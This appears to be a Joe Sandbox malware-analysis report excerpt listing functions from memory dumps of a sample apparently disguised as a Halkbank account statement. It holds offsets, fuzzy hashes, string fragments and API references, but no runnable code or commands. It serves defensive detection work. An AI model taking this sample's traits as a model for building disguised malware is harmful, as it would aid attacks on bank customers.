Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o@p, xrefs: 0100C542
Lj@p, xrefs: 0100C6AF
PH]q, xrefs: 0100C727
PH]q, xrefs: 0100C738
Lj@p, xrefs: 0100C6C5

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: edbbda591947040e162ca4b6b4350381c81accb17a61dd4291e4d44a71a5ca4d
Instruction ID: 0f61b379060174865b0215901b079eb1594b44d19d42cd24e38165c6435b7ec6
Opcode Fuzzy Hash: edbbda591947040e162ca4b6b4350381c81accb17a61dd4291e4d44a71a5ca4d
Instruction Fuzzy Hash: 4E81E874E00218CFEB54DFA9D984A9DBBF2BF88300F14D1A9E449AB365DB346941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01004B31 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 01004D10
PH]q, xrefs: 01004D99
PH]q, xrefs: 01004D88
0o@p, xrefs: 01004BA2
Lj@p, xrefs: 01004D26

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 00825124128ae926863752ed5f05dcafa43606b128bcfcaaf4c5ac0bd5e2229a
Instruction ID: 87c0174386f85d549c42a27ad6498598e066b998cea196ab663c0f37e43082b3
Opcode Fuzzy Hash: 00825124128ae926863752ed5f05dcafa43606b128bcfcaaf4c5ac0bd5e2229a
Instruction Fuzzy Hash: 7E81F574E00218DFEB54DFA9D884A9DBBF2BF88300F14C069E949AB365DB349981CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0100CA92 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0100CC6F
0o@p, xrefs: 0100CB02
PH]q, xrefs: 0100CCE7
PH]q, xrefs: 0100CCF8
Lj@p, xrefs: 0100CC85

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 4713d4385102bd14b24ddc1eaa3a740d88d8e7816f20fd31d6bfc4f2af00c8c1
Instruction ID: 050a2dfc92ac7c0d5940c89b36c1f05ac0ad7d0a988650a3ecb04809cc713c26
Opcode Fuzzy Hash: 4713d4385102bd14b24ddc1eaa3a740d88d8e7816f20fd31d6bfc4f2af00c8c1
Instruction Fuzzy Hash: 9E81E674E00218DFEB54DFA9D984A9DBBF2BF88300F14C1A9E849AB365DB345981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0100BC32 Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0100BE87
Lj@p, xrefs: 0100BE0F
Lj@p, xrefs: 0100BE25
PH]q, xrefs: 0100BE98
0o@p, xrefs: 0100BCA2

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 2e540b6708813aa96a0ffcee11c852197ee02e0f361d08721c71f2aee9a23cbe
Instruction ID: 13e4b82062ae29284bc26dc49c37a138eb066d69fd71803f9ad7ed3d05b6305a
Opcode Fuzzy Hash: 2e540b6708813aa96a0ffcee11c852197ee02e0f361d08721c71f2aee9a23cbe
Instruction Fuzzy Hash: D881C474E00218CFEB55DFA9D984A9DBBF2BF88310F14C06AE449AB365DB349941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 010068E0 Relevance: 5.3, Strings: 4, Instructions: 331COMMON

Download Yara Rule

Strings

(o]q, xrefs: 010069E8
(o]q, xrefs: 010069DA
,aq, xrefs: 01006A60
,aq, xrefs: 01006A52

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: b5ed7d3fc848cdb990d77a60e708f01317448ac55fb3986585294ab9c1139437
Instruction ID: db475b8fa6ac68d51fb8bd8b665e8e112b37ebf886625789c864cfc8401e11a0
Opcode Fuzzy Hash: b5ed7d3fc848cdb990d77a60e708f01317448ac55fb3986585294ab9c1139437
Instruction Fuzzy Hash: 38D13F70E00119DFEB56CF99C984AADBBF7FF88304F1580A5E585AB2A1D732D861CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0100B552 Relevance: 3.9, Strings: 3, Instructions: 152COMMON

Download Yara Rule

Strings

0o@p, xrefs: 0100B5C2
PH]q, xrefs: 0100B7B8
PH]q, xrefs: 0100B7A7

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$PH]q$PH]q
API String ID: 0-2023588385
Opcode ID: e84933c7152d30a3938f13054c460415db5be337b6ddf69c3b6d7b66ce606e13
Instruction ID: ce4580e4ff6c26bac9c2a81a8569f2b1fd43ef2bcdd75ad96ad94b5281327b46
Opcode Fuzzy Hash: e84933c7152d30a3938f13054c460415db5be337b6ddf69c3b6d7b66ce606e13
Instruction Fuzzy Hash: 1F61C374E006089FEB59DFAAD984A9DBBF2FF88300F14C069E848AB365DB345941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01009848 Relevance: 3.4, Strings: 2, Instructions: 893COMMON

Download Yara Rule

Strings

4']q, xrefs: 0100A2D3
(o]q, xrefs: 01009CD8

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: (o]q$4']q
API String ID: 0-176817397
Opcode ID: 1ab86319d2c7c1f58ff35be95a5353b3e95aa8ab20f528f7a823b8a51e952e32
Instruction ID: f29d2ed3666c9358fcf6e05320e775441c0419e96467fabdcc9fabe0ee74d391
Opcode Fuzzy Hash: 1ab86319d2c7c1f58ff35be95a5353b3e95aa8ab20f528f7a823b8a51e952e32
Instruction Fuzzy Hash: C782B131A00219DFDF16CF68C584AAEBBF2FF49304F158569E4899B3A2D735E981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 066390A1 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

PH]q, xrefs: 066392FB
PH]q, xrefs: 066392EA

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: fdc9b83613e1f8ee568669c77bf4109727c64758f91a6613c1f480f153d18dfc
Instruction ID: e8a76d8dd5c232fd85e382871195459c42b47622c912be90e06586466d8c5ba4
Opcode Fuzzy Hash: fdc9b83613e1f8ee568669c77bf4109727c64758f91a6613c1f480f153d18dfc
Instruction Fuzzy Hash: 5681E470E00228CFDB58DFA9D99469DBBF2BF89304F20816AD419BB354DB745946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 066289B0 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db50996a5b27ceedaa04588bbb46d96a652a6fb349203fc40340e8b81d1ecf8d
Instruction ID: 9538322c4542fea33cce03dfe683199b62b12c02f8add242c23424e386c6dd8b
Opcode Fuzzy Hash: db50996a5b27ceedaa04588bbb46d96a652a6fb349203fc40340e8b81d1ecf8d
Instruction Fuzzy Hash: 9FF11674E01229CFDB54DFA8C884B9DBBB2BF88304F54C1A9E448AB355DB34A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0662BE28 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0662BE79

Memory Dump Source

Source File: 00000003.00000002.3224906615.0000000006620000.00000040.00000800.00020000.00000000.sdmp, Offset: 06620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6620000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 134dec217246f8ac1555ce754579c5f27a6ec8f48c9168c23f272ed9a69a3474
Instruction ID: 893630847ecdc44d3b7bace49d59dff55e6d9ad4c4da2e0d6de216e272e0ece4
Opcode Fuzzy Hash: 134dec217246f8ac1555ce754579c5f27a6ec8f48c9168c23f272ed9a69a3474
Instruction Fuzzy Hash: F74135B4E006199FDB14CF99C584AEEFBB2FF88314F248169E4046B391C731A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 066315F8 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e724a5f64ad66c010bb6161ff9fa36792e4371e23e4738297b13d3d017e04bce
Instruction ID: 6804e411d992927a4ef178bdb637de680c8e7aad8ad068c6066a7f3bcb7f19cb
Opcode Fuzzy Hash: e724a5f64ad66c010bb6161ff9fa36792e4371e23e4738297b13d3d017e04bce
Instruction Fuzzy Hash: 82827C74E012289FDB64DF69C898BDDBBB2BF89300F1081EAA44DA7255DB355E81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 06638A58 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0b05d34a36c3e12e646af80a6f385a3bb7fb605b61d5d07c7582edd38613c4c
Instruction ID: 93a341a5dab06c531cec5d5aed4fe44beb2bf7460923e8c9699dd7f166052e66
Opcode Fuzzy Hash: b0b05d34a36c3e12e646af80a6f385a3bb7fb605b61d5d07c7582edd38613c4c
Instruction Fuzzy Hash: 25E1D274E01218CFEB64DFA5C984BDDBBB2BF89304F2081A9D408AB394DB755A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0663CE28 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3974959473c0442e53e9388c2090f19d14f44e9baf3a8d0c5c580f20fa3d2b65
Instruction ID: ba11624e34ed4441ff8000c3ca0e4c1fd022b2715eda3e98e44be6c537fc311c
Opcode Fuzzy Hash: 3974959473c0442e53e9388c2090f19d14f44e9baf3a8d0c5c580f20fa3d2b65
Instruction Fuzzy Hash: C1A19274E012288FEB68DF6AC944B9DBBF2AF89300F14D0AAD40DB7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663DAC0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bce19b9e0a662f57b5e167125f2a1b1b47d398700216819f03af9bc51d1adf0
Instruction ID: 08ba7270cbed19da73efd9b5975a69d881c1ebc93232d8122ec842fb162061aa
Opcode Fuzzy Hash: 3bce19b9e0a662f57b5e167125f2a1b1b47d398700216819f03af9bc51d1adf0
Instruction Fuzzy Hash: ECA1A270E012288FEB68DF6AC944B9DFBF2AF89300F14D0AAD40DA7254DB745A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663BB38 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a25f48c2882ccd3270d60bdfd75ec47a39c299ec18fb0057962c9f3338f324
Instruction ID: da914cbb36173ede69d1c59e7267d48c6ea1fac510a545493574876773796b29
Opcode Fuzzy Hash: 25a25f48c2882ccd3270d60bdfd75ec47a39c299ec18fb0057962c9f3338f324
Instruction Fuzzy Hash: DDA19274E012288FEB68DF6AC944B9DFBF2AF89300F14D0AAD50DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663C7D8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbf04daa82d0cf9b101bed8165d465a036f791441c90b01c1eff7d7bd11fdcdd
Instruction ID: 8ec2f7dc60632673ecb2ef8763986e6af2c80e29d54e88297a3daf2befb1658d
Opcode Fuzzy Hash: bbf04daa82d0cf9b101bed8165d465a036f791441c90b01c1eff7d7bd11fdcdd
Instruction Fuzzy Hash: 60A1A175E012288FEB68DF6AC944B9DBBF2AF89300F14D0AAD40DB7254DB305A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663A858 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2d80d0cac2490702f5ae7a4d5f8a1b1c3c0b55e9e1894f893cfab7f27ad5ea
Instruction ID: b7479281b8c5cc26d07563d070894da56b1c1de6c913b4da6fff6bbd649de586
Opcode Fuzzy Hash: 9d2d80d0cac2490702f5ae7a4d5f8a1b1c3c0b55e9e1894f893cfab7f27ad5ea
Instruction Fuzzy Hash: 3DA1A175E012288FEB68CF6AC944B9DBBF2BF89300F14C0AAD44DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663C188 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332a3ee2ad2dba2d65c6193b7c4682bb6cee28e8cffbc8a8c6c2d2c884000301
Instruction ID: c5e36627c330bc17b80d006d9030b2af3d88924f75fca2f636313b28208ac0a1
Opcode Fuzzy Hash: 332a3ee2ad2dba2d65c6193b7c4682bb6cee28e8cffbc8a8c6c2d2c884000301
Instruction Fuzzy Hash: 27A1A071E012288FEB68DF6AC944B9DBBF2AF89300F14D0AAD40DB7255DB305A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663AEA8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f814b8b18b8724862d808f7f959ce6f9a6229334caec7fe3c34d033fd72d699
Instruction ID: d2978a2782365fd93ea2d145dc1eacebfb22633df09364a0f29bbff8bb9adf07
Opcode Fuzzy Hash: 5f814b8b18b8724862d808f7f959ce6f9a6229334caec7fe3c34d033fd72d699
Instruction Fuzzy Hash: 2EA1A174E012288FEB68DF6AC944B9DFBF2AF89300F14C0AAD40DA7255DB345A85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0663D478 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7e926aa01b943356e1ec048cd920c01a12e38b2eb81a43776f95dca0822820
Instruction ID: 979a7038723567274be604afec28614405e2350b268c38d0529fd8e4fe7639cd
Opcode Fuzzy Hash: be7e926aa01b943356e1ec048cd920c01a12e38b2eb81a43776f95dca0822820
Instruction Fuzzy Hash: B3A18274E012288FEB68DF6AC944B9DFBF2AF89300F14D0AAD40DA7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663B4F0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10de584fcd687b2d44cb951630881b5138c9d0ab79ea3ef4c9a65ce67df62c57
Instruction ID: ba3b5ca9c5ca787c77d149d11df208feaa6d8044d2c159be751298ac4f7b8a5d
Opcode Fuzzy Hash: 10de584fcd687b2d44cb951630881b5138c9d0ab79ea3ef4c9a65ce67df62c57
Instruction Fuzzy Hash: 84A19174E012288FEB68DF6AC944B9DBBF2AF89300F14C0AAD40DA7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06638A48 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bac6547d365798c1d40529501873bec95423782b63a1eb35dad232a86fd6263
Instruction ID: dfc1af528b1631ae52026b0daf7cf15218d09a39ca73d6a6d6367411e974c6fe
Opcode Fuzzy Hash: 2bac6547d365798c1d40529501873bec95423782b63a1eb35dad232a86fd6263
Instruction Fuzzy Hash: C541D0B0D016188BEB58DFAAC8447DEBBB2BF88304F10C06AD418BB294DB754946CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0663DAAF Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0456eb4150d5462b922dcf9d4a62a31c7af117962a25785849683cae62ab707f
Instruction ID: 3ef3e8c993040104e77f4b628cdeb6cde9b23a79cc6453a726577967f29253e9
Opcode Fuzzy Hash: 0456eb4150d5462b922dcf9d4a62a31c7af117962a25785849683cae62ab707f
Instruction Fuzzy Hash: F84188B1D056288BEB58CF6BC944789FAF3AFC9310F14C1AAC50CA6265DB740A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663CE18 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46d93b72a9350a2960fc1617739e10f0472dccf6b84859ed1068875974855d9a
Instruction ID: 3bfc53935f9d09c60e652f286d4cafd7d30f7ab52914c2fd9eced9e547345560
Opcode Fuzzy Hash: 46d93b72a9350a2960fc1617739e10f0472dccf6b84859ed1068875974855d9a
Instruction Fuzzy Hash: D6417C71D016288BEB58CF6BCD557D9FAF3AFC9300F04C0AAD50CA6254DB741A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 0663BB27 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd80ea94c9ec7b7eca7d4567e03a8fe5a13eeeae9117dd4cfa8847eb21bddbb
Instruction ID: a0620060cbbf1a3216248cea9c187b3da8acb6ba3dd1859d70ccd4304496f49b
Opcode Fuzzy Hash: 0fd80ea94c9ec7b7eca7d4567e03a8fe5a13eeeae9117dd4cfa8847eb21bddbb
Instruction Fuzzy Hash: E94158B1D016288BEB58CF6BC945799FAF3AFC9300F14C1AAC50CA6264DB740A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663C178 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41d4cade419e56ece73b4924248bc3debaad1e9a115d40ab934f3ee87a7dbf1
Instruction ID: 89146c23492cdbce23bcbe888fae2566dfd50852a051ae5723d700d392e6dd9b
Opcode Fuzzy Hash: f41d4cade419e56ece73b4924248bc3debaad1e9a115d40ab934f3ee87a7dbf1
Instruction Fuzzy Hash: A94179B1D016289FEB58CF6BC945789FAF3AFC9304F04C1AAD50CA6264DB740A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0663C7CB Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1e8dca7c171860fc8d19cc92744c73346687d785f538e86b6c7b25a396d336c
Instruction ID: 634db5a04913cdf9d92cb09bca2f16d50284c6f639c8914422184e3b4b99fde1
Opcode Fuzzy Hash: f1e8dca7c171860fc8d19cc92744c73346687d785f538e86b6c7b25a396d336c
Instruction Fuzzy Hash: 2F416BB1D016188FEB58CF6BC945799FAF3AFC9304F14C1AAD50CA6264DB740A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01006EB8 Relevance: 10.5, Strings: 8, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 01007368
(o]q, xrefs: 01006FDD
(o]q, xrefs: 010073C7
(o]q, xrefs: 01006FB1
(o]q, xrefs: 010073D7
,aq, xrefs: 01007358
(o]q, xrefs: 01006EF6
(o]q, xrefs: 0100707A

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: adfd9f23d88de79a66017bf999e5749e17557d3850998f8b1e40581b8ef0b2d6
Instruction ID: 0cce7e0ea36da1dd7619956acf95a41180925a963d6c3940f63356046075c09b
Opcode Fuzzy Hash: adfd9f23d88de79a66017bf999e5749e17557d3850998f8b1e40581b8ef0b2d6
Instruction Fuzzy Hash: F5125C30A00209DFEB66CF68D884A9DBBF2BF48314F158599F9859B2A1DB35FD41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010021B4 Relevance: 6.8, Strings: 5, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#, xrefs: 01002EB4
Xaq, xrefs: 010022A0
Xaq, xrefs: 01002266
Xaq, xrefs: 0100236C
Xaq, xrefs: 0100231F

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: #$Xaq$Xaq$Xaq$Xaq
API String ID: 0-3187220489
Opcode ID: 4c7d3e66094859acd81f72234c866f52df0ac3a3a3b3f661a65190483468cf72
Instruction ID: d6b6ca51fe7de3cb5826d7820fdcf97ae2b603cabbe5486d99b94f581d89b8b4
Opcode Fuzzy Hash: 4c7d3e66094859acd81f72234c866f52df0ac3a3a3b3f661a65190483468cf72
Instruction Fuzzy Hash: 7A1248B680F3C45FDB534B7488682957F70EF67208F2848EFD0C5DA1A3E6661A4AD742

Uniqueness

Uniqueness Score: -1.00%

Function 007AF6B0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

uz, xrefs: 007AF79E
uz, xrefs: 007AF77E

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: uz$uz
API String ID: 0-1270533253
Opcode ID: 8ba4349d238668f76b46d29b624453a3479530f7d6fa9da9d800ff3c8436aeb0
Instruction ID: f15a1ee1f561428f030651ebdd58e663a83309d45ed8341b2d6e3188fbc7b353
Opcode Fuzzy Hash: 8ba4349d238668f76b46d29b624453a3479530f7d6fa9da9d800ff3c8436aeb0
Instruction Fuzzy Hash: 30812E71D0A3899FDF12DFA4C85458DBFB1AF4A300F1982EBE444DB2A2D3799845CB52

Uniqueness

Uniqueness Score: -1.00%

Function 007AF750 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 007AF862

Strings

uz, xrefs: 007AF79E
uz, xrefs: 007AF77E

Memory Dump Source

Source File: 00000003.00000002.3220092242.00000000007A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID: CreateWindow
String ID: uz$uz
API String ID: 716092398-1270533253
Opcode ID: 5bace7b9f94ae0a8f800eb4b75195c24e912bee80de21d7b5ee8e74cb53573f0
Instruction ID: 27321be764ebaf866786605296b8e3c109a2398950d4e13ddb28ce906a1f060f
Opcode Fuzzy Hash: 5bace7b9f94ae0a8f800eb4b75195c24e912bee80de21d7b5ee8e74cb53573f0
